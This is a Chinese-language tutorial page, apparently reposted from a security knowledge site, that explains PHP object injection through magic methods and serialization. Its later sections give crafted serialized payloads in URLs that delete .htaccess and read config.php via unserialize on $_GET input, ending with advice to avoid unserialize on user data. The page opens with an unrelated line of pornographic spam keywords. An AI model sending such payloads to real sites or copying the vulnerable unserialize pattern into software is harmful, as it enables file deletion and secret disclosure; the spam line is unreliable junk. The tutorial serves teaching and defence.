偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

詳析php對象注入漏洞

安全 漏洞
php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險,為了理解這個漏洞,請讀者具備基礎(chǔ)的php知識。

0x00 背景

php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險,為了理解這個漏洞,請讀者具備基礎(chǔ)的php知識。

[[127324]]

0x01 漏洞案例

如果你覺得這是個渣渣洞,那么請看一眼這個列表,一些被挖到過該漏洞的系統(tǒng),你可以發(fā)現(xiàn)都是一些耳熟能詳?shù)耐嬉?就國外來說)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系統(tǒng),八成可能大概在這些還有其他的php程序中還有很多這種類型的漏洞,所以不妨考慮坐下喝杯咖啡并且試著去理解這篇文章。

0x01 PHP類和對象

類和變量是非常容易理解的php概念,打個比方,下面的代碼在一個類中定義了一個變量和一個方法。

  1. <?php  
  2.    
  3. class TestClass  
  4. {  
  5.     // 一個變量  
  6.    
  7.     public $variable = 'This is a string';  
  8.    
  9.     // 一個簡單的方法  
  10.    
  11.     public function PrintVariable()  
  12.     {  
  13.         echo $this->variable;  
  14.     }  
  15. }  
  16.    
  17. // 創(chuàng)建一個對象  
  18.    
  19. $object = new TestClass();  
  20.    
  21. // 調(diào)用一個方法  
  22.    
  23. $object->PrintVariable();  
  24.    
  25. ?> 

它創(chuàng)建了一個對象并且調(diào)用了 PrintVariable 函數(shù),該函數(shù)會輸出變量 variable。

如果想了解更多關(guān)于php面向?qū)ο缶幊痰闹R 請點: http://php.net/manual/zh/language.oop5.php

0x02 php magic方法

php類可能會包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號“__”開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

這些函數(shù)在某些情況下會自動調(diào)用,比如:

__construct 當(dāng)一個對象創(chuàng)建時調(diào)用 (constructor) __destruct 當(dāng)一個對象被銷毀時調(diào)用 (destructor) __ toString當(dāng)一個對象被當(dāng)作一個字符串使用

為了更好的理解magic方法是如何工作的,讓我們添加一個magic方法在我們的類中。

  1. <?php  
  2.    
  3. class TestClass  
  4. {  
  5.     // 一個變量  
  6.    
  7.     public $variable = 'This is a string';  
  8.    
  9.     // 一個簡單的方法  
  10.    
  11.     public function PrintVariable()  
  12.     {  
  13.         echo $this->variable . '<br />';  
  14.     }  
  15.    
  16.     // Constructor  
  17.    
  18.     public function __construct()  
  19.     {  
  20.         echo '__construct <br />';  
  21.     }  
  22.    
  23.     // Destructor  
  24.    
  25.     public function __destruct()  
  26.     {  
  27.         echo '__destruct <br />';  
  28.     }  
  29.    
  30.     // Call  
  31.    
  32.     public function __toString()  
  33.     {  
  34.         return '__toString<br />';  
  35.     }  
  36. }  
  37.    
  38. // 創(chuàng)建一個對象  
  39. //  __construct會被調(diào)用  
  40.    
  41. $object = new TestClass();  
  42.    
  43. // 創(chuàng)建一個方法  
  44. //  'This is a string’ 這玩意會被輸出  
  45.    
  46. $object->PrintVariable();  
  47.    
  48. // 對象被當(dāng)作一個字符串  
  49. //  __toString 會被調(diào)用  
  50.    
  51. echo $object;  
  52.    
  53. // End of PHP script  
  54. // php腳本要結(jié)束了, __destruct會被調(diào)用  
  55.    
  56. ?> 

我們往里頭放了三個 magic方法,__construct, __destruct和 __toString,你可以看出來,__construct在對象創(chuàng)建時調(diào)用, __destruct在php腳本結(jié)束時調(diào)用,__toString在對象被當(dāng)作一個字符串使用時調(diào)用。

這個腳本會輸出這狗樣:

__construct

This is a string

__toString

__destruct

這只是一個簡單的例子,如果你想了解更多有關(guān)magic函數(shù)的例子,請點擊下面的鏈接:

http://php.net/manual/zh/language.oop5.magic.php

0x03 php對象序列化

php允許保存一個對象方便以后重用,這個過程被稱為序列化,打個比方,你可以保存一個包含著用戶信息的對象方便等等重用。

為了序列化一個對象,你需要調(diào)用 “serialize”函數(shù),函數(shù)會返回一個字符串,當(dāng)你需要用到這個對象的時候可以使用“unserialize”去重建對象。

讓我們在序列化丟進(jìn)那個例子,看看序列化長什么樣。

  1. <?php  
  2.    
  3. // 某類  
  4.    
  5. class User  
  6. {  
  7.     // 類數(shù)據(jù)  
  8.    
  9.     public $age = 0;  
  10.     public $name = '';  
  11.    
  12.     // 輸出數(shù)據(jù)  
  13.    
  14.     public function PrintData()  
  15.     {  
  16.         echo 'User ' . $this->name . ' is ' . $this->age  
  17.              . ' years old. <br />';  
  18.     }  
  19. }  
  20.    
  21. // 創(chuàng)建一個對象  
  22.    
  23. $usr = new User();  
  24.    
  25. // 設(shè)置數(shù)據(jù)  
  26.    
  27. $usr->age = 20;  
  28. $usr->name = 'John';  
  29.    
  30. // 輸出數(shù)據(jù)  
  31.    
  32. $usr->PrintData();  
  33.    
  34. // 輸出序列化之后的數(shù)據(jù)  
  35.    
  36. echo serialize($usr);  
  37.    
  38. ?> 

它會輸出

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的數(shù)據(jù)中 有 20和John,其中沒有任何跟類有關(guān)的東西,只有其中的數(shù)據(jù)被數(shù)據(jù)化。

為了使用這個對象,我們用unserialize重建對象。

  1. <?php  
  2.    
  3. // 某類  
  4.    
  5. class User  
  6. {  
  7.     // Class data  
  8.    
  9.     public $age = 0;  
  10.     public $name = '';  
  11.    
  12.     // Print data  
  13.    
  14.     public function PrintData()  
  15.     {  
  16.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  17.     }  
  18. }  
  19.    
  20. // 重建對象  
  21.    
  22. $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  
  23.    
  24. // 調(diào)用PrintData 輸出數(shù)據(jù)  
  25.    
  26. $usr->PrintData();  
  27.    
  28. ?> 

這會輸出

User John is 20 years old

0x04 序列化magic函數(shù)

magic函數(shù)constructor (__construct)和 destructor (__destruct) 是會在對象創(chuàng)建或者銷毀時自動調(diào)用,其他的一些magic函數(shù)會在serialize 或者 unserialize的時候被調(diào)用。

__sleep magic方法在一個對象被序列化的時候調(diào)用。 __wakeup magic方法在一個對象被反序列化的時候調(diào)用。

注意 __sleep 必須返回一個數(shù)組與序列化的變量名。

  1. <?php  
  2.    
  3. class Test  
  4. {  
  5.     public $variable = 'BUZZ';  
  6.     public $variable2 = 'OTHER';  
  7.    
  8.     public function PrintVariable()  
  9.     {  
  10.         echo $this->variable . '<br />';  
  11.     }  
  12.    
  13.     public function __construct()  
  14.     {  
  15.         echo '__construct<br />';  
  16.     }  
  17.    
  18.     public function __destruct()  
  19.     {  
  20.         echo '__destruct<br />';  
  21.     }  
  22.    
  23.     public function __wakeup()  
  24.     {  
  25.         echo '__wakeup<br />';  
  26.     }  
  27.    
  28.     public function __sleep()  
  29.     {  
  30.         echo '__sleep<br />';  
  31.    
  32.         return array('variable''variable2');  
  33.     }  
  34. }  
  35.    
  36. // 創(chuàng)建一個對象,會調(diào)用 __construct  
  37.    
  38. $obj = new Test();  
  39.    
  40. // 序列化一個對象,會調(diào)用 __sleep  
  41.    
  42. $serialized = serialize($obj);  
  43.    
  44. //輸出序列化后的字符串  
  45.    
  46. print 'Serialized: ' . $serialized . <br />';  
  47.    
  48. // 重建對象,會調(diào)用 __wakeup  
  49.    
  50. $obj2 = unserialize($serialized);  
  51.    
  52. //調(diào)用 PintVariable, 會輸出數(shù)據(jù) (BUZZ)  
  53.    
  54. $obj2->PrintVariable();  
  55.    
  56. // php腳本結(jié)束,會調(diào)用 __destruct   
  57.    
  58. ?> 

這玩意會輸出:

__construct

__sleep

Serialized: O:4:"Test":2:

{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";}

__wakeup

BUZZ

__destruct

__destruct

你可以看到,我們創(chuàng)建了一個對象,序列化了它(然后__sleep被調(diào)用),之后用序列化對象重建后的對象創(chuàng)建了另一個對象,接著php腳本結(jié)束的時候兩個對象的__destruct都會被調(diào)用。

更多相關(guān)的內(nèi)容

http://php.net/manual/zh/language.oop5.serialization.php

0x05 php對象注入

現(xiàn)在我們理解了序列化是如何工作的,我們該如何利用它?事實上,利用這玩意的可能性有很多種,關(guān)鍵取決于應(yīng)用程序的流程與,可用的類,與magic函數(shù)。

記住序列化對象的值是可控的。

你可能會找到一套web程序的源代碼,其中某個類的__wakeup 或者 __destruct and其他亂七八糟的函數(shù)會影響到web程序。

打個比方,我們可能會找到一個類用于臨時將日志儲存進(jìn)某個文件,當(dāng)__destruct被調(diào)用時,日志文件會被刪除。

  1. <?php   
  2.    
  3. class LogFile  
  4. {  
  5.     // log文件名  
  6.    
  7.     public $filename = 'error.log';  
  8.    
  9.     // 某代碼,儲存日志進(jìn)文件  
  10.    
  11.     public function LogData($text)  
  12.     {  
  13.         echo 'Log some data: ' . $text . '<br />';  
  14.         file_put_contents($this->filename, $text, FILE_APPEND);  
  15.     }  
  16.    
  17.     // Destructor 刪除日志文件  
  18.    
  19.     public function __destruct()  
  20.     {  
  21.         echo '__destruct deletes "' . $this->filename . '" file. <br />';  
  22.         unlink(dirname(__FILE__) . '/' . $this->filename);  
  23.     }  
  24. }  
  25.    
  26. ?> 

某例子關(guān)于如何使用這個類

  1. <?php  
  2.    
  3. include 'logfile.php';  
  4.    
  5. // 創(chuàng)建一個對象  
  6.    
  7. $obj = new LogFile();  
  8.    
  9. // 設(shè)置文件名和要儲存的日志數(shù)據(jù)  
  10.    
  11. $obj->filename = 'somefile.log';  
  12. $obj->LogData('Test');  
  13.    
  14. // php腳本結(jié)束啦,__destruct被調(diào)用,somefile.log文件被刪除。  
  15.    
  16. ?> 

在其他的腳本,我們可能又恰好找到一個調(diào)用“unserialize”函數(shù)的,并且恰好變量是用戶可控的,又恰好是$_GET之類的。

  1. <?php  
  2.    
  3. include 'logfile.php';  
  4.    
  5. // ... 一些狗日的代碼和 LogFile 類 ...  
  6.    
  7. // 簡單的類定義  
  8.    
  9. class User  
  10. {  
  11.     // 類數(shù)據(jù)  
  12.    
  13.     public $age = 0;  
  14.     public $name = '';  
  15.    
  16.     // 輸出數(shù)據(jù)  
  17.    
  18.     public function PrintData()  
  19.     {  
  20.         echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  21.     }  
  22. }  
  23.    
  24. // 重建 用戶輸入的 數(shù)據(jù)  
  25.    
  26. $usr = unserialize($_GET['usr_serialized']);  
  27.    
  28. ?> 

你看,這個代碼調(diào)用了 “LogClass” 類,并且有一個 “unserialize” 值是我們可以注入的。

所以構(gòu)造類似這樣的東西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟發(fā)生了什么呢,因為輸入是可控的,所以我們可以構(gòu)造任意的序列化對象,比如:

  1. <?php  
  2.    
  3. $obj = new LogFile();  
  4. $obj->filename = '.htaccess';  
  5.    
  6. echo serialize($obj) . '<br />';  
  7.    
  8. ?> 

這個會輸出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";}

__destruct deletes ".htaccess" file.

現(xiàn)在我們將構(gòu)造過后的序列化對象發(fā)送給剛才的腳本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

這會輸出

__destruct deletes ".htaccess" file.

現(xiàn)在 .htaccess 已經(jīng)被干掉了,因為腳本結(jié)束時 __destruct會被調(diào)用。不過我們已經(jīng)可以控制“LogFile”類的變量啦。

這就是漏洞名稱的由來:變量可控并且進(jìn)行了unserialize操作的地方注入序列化對象,實現(xiàn)代碼執(zhí)行或者其他坑爹的行為。

雖然這不是一個很好的例子,不過我相信你可以理解這個概念,unserialize自動調(diào)用 __wakeup 和 __destruct,接著攻擊者可以控制類變量,并且攻擊web程序。

0x06 常見的注入點

先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞,一切都是取決于程序邏輯。

打個比方,某用戶類定義了一個__toString為了讓應(yīng)用程序能夠?qū)㈩愖鳛橐粋€字符串輸出(echo $obj) ,而且其他類也可能定義了一個類允許__toString讀取某個文件。

  1. <?php   
  2.    
  3. // … 一些include ...  
  4.    
  5. class FileClass  
  6. {  
  7.     // 文件名  
  8.    
  9.     public $filename = 'error.log';  
  10.    
  11.     //當(dāng)對象被作為一個字符串會讀取這個文件  
  12.    
  13.     public function __toString()  
  14.     {  
  15.         return file_get_contents($this->filename);  
  16.     }  
  17. }  
  18.    
  19. // Main User class  
  20.    
  21. class User  
  22. {  
  23.     // Class data  
  24.    
  25.     public $age = 0;  
  26.     public $name = '';  
  27.    
  28.     // 允許對象作為一個字符串輸出上面的data  
  29.    
  30.     public function __toString()  
  31.     {  
  32.         return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  
  33.     }  
  34. }  
  35.    
  36. // 用戶可控  
  37.    
  38. $obj = unserialize($_GET['usr_serialized']);  
  39.    
  40. // 輸出 __toString  
  41.    
  42. echo $obj;  
  43.    
  44. ?> 

so,我們構(gòu)造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我們用序列化調(diào)用 FileClass呢

我們創(chuàng)建利用代碼

  1. <?php  
  2.    
  3. $fileobj = new FileClass();  
  4. $fileobj->filename = 'config.php';  
  5.    
  6. echo serialize($fileobj);  
  7.    
  8. ?> 

接著用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接著網(wǎng)頁會輸出 config.php的源代碼

  1. <?php   
  2. $private_data = 'MAGIC';   
  3. ?> 

ps:我希望這讓你能夠理解。

0x07 其他的利用方法

可能其他的一些magic函數(shù)海存在利用點:比如__call 會在對象調(diào)用不存在的函數(shù)時調(diào)用,__get 和 __set會在對象嘗試訪問一些不存在的類,變量等等時調(diào)用。

不過需要注意的是,利用場景不限于magic函數(shù),也有一些方式可以在一半的函數(shù)中利用這個漏洞,打個比方,一個模塊可能定義了一個叫g(shù)et的函數(shù)進(jìn)行一些敏感的操作,比如訪問數(shù)據(jù)庫,這就可能造成sql注入,取決于函數(shù)本身的操作。

唯一的一個技術(shù)難點在于,注入的類必須在注入點所在的地方,不過一些模塊或者腳本會使用“autoload”的功能,具體可以在這里了解

http://php.net/manual/zh/language.oop5.autoload.php

0x08 如何利用或者避免這個漏洞

別在任何用戶可控的地方使用“unserialize”,可以考慮“json_decode“

0x09 結(jié)論

雖然很難找到而且很難利用,但是這真的真的很嚴(yán)重,可以導(dǎo)致各種各樣的漏洞。

原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/

責(zé)任編輯:藍(lán)雨淚 來源: 烏云知識庫
相關(guān)推薦

2014-11-27 09:31:26

2015-05-11 09:43:07

路由traceroute

2012-04-12 13:36:59

2012-04-12 15:06:44

2010-04-01 11:37:07

無線ADSL寬帶接入方

2010-04-12 13:44:48

無線局域網(wǎng)互訪故障

2012-09-18 14:00:10

2010-04-12 13:41:47

2010-09-13 16:58:13

2012-12-19 10:36:06

2013-01-04 11:40:54

2013-01-04 11:22:12

2013-01-04 13:30:04

2013-01-04 13:39:51

2013-07-03 11:28:47

2013-01-04 13:14:22

2013-01-04 11:38:35

2022-07-20 09:25:42

PythonExcel

2013-04-07 15:48:26

2013-12-09 09:57:37

點贊
收藏

51CTO技術(shù)棧公眾號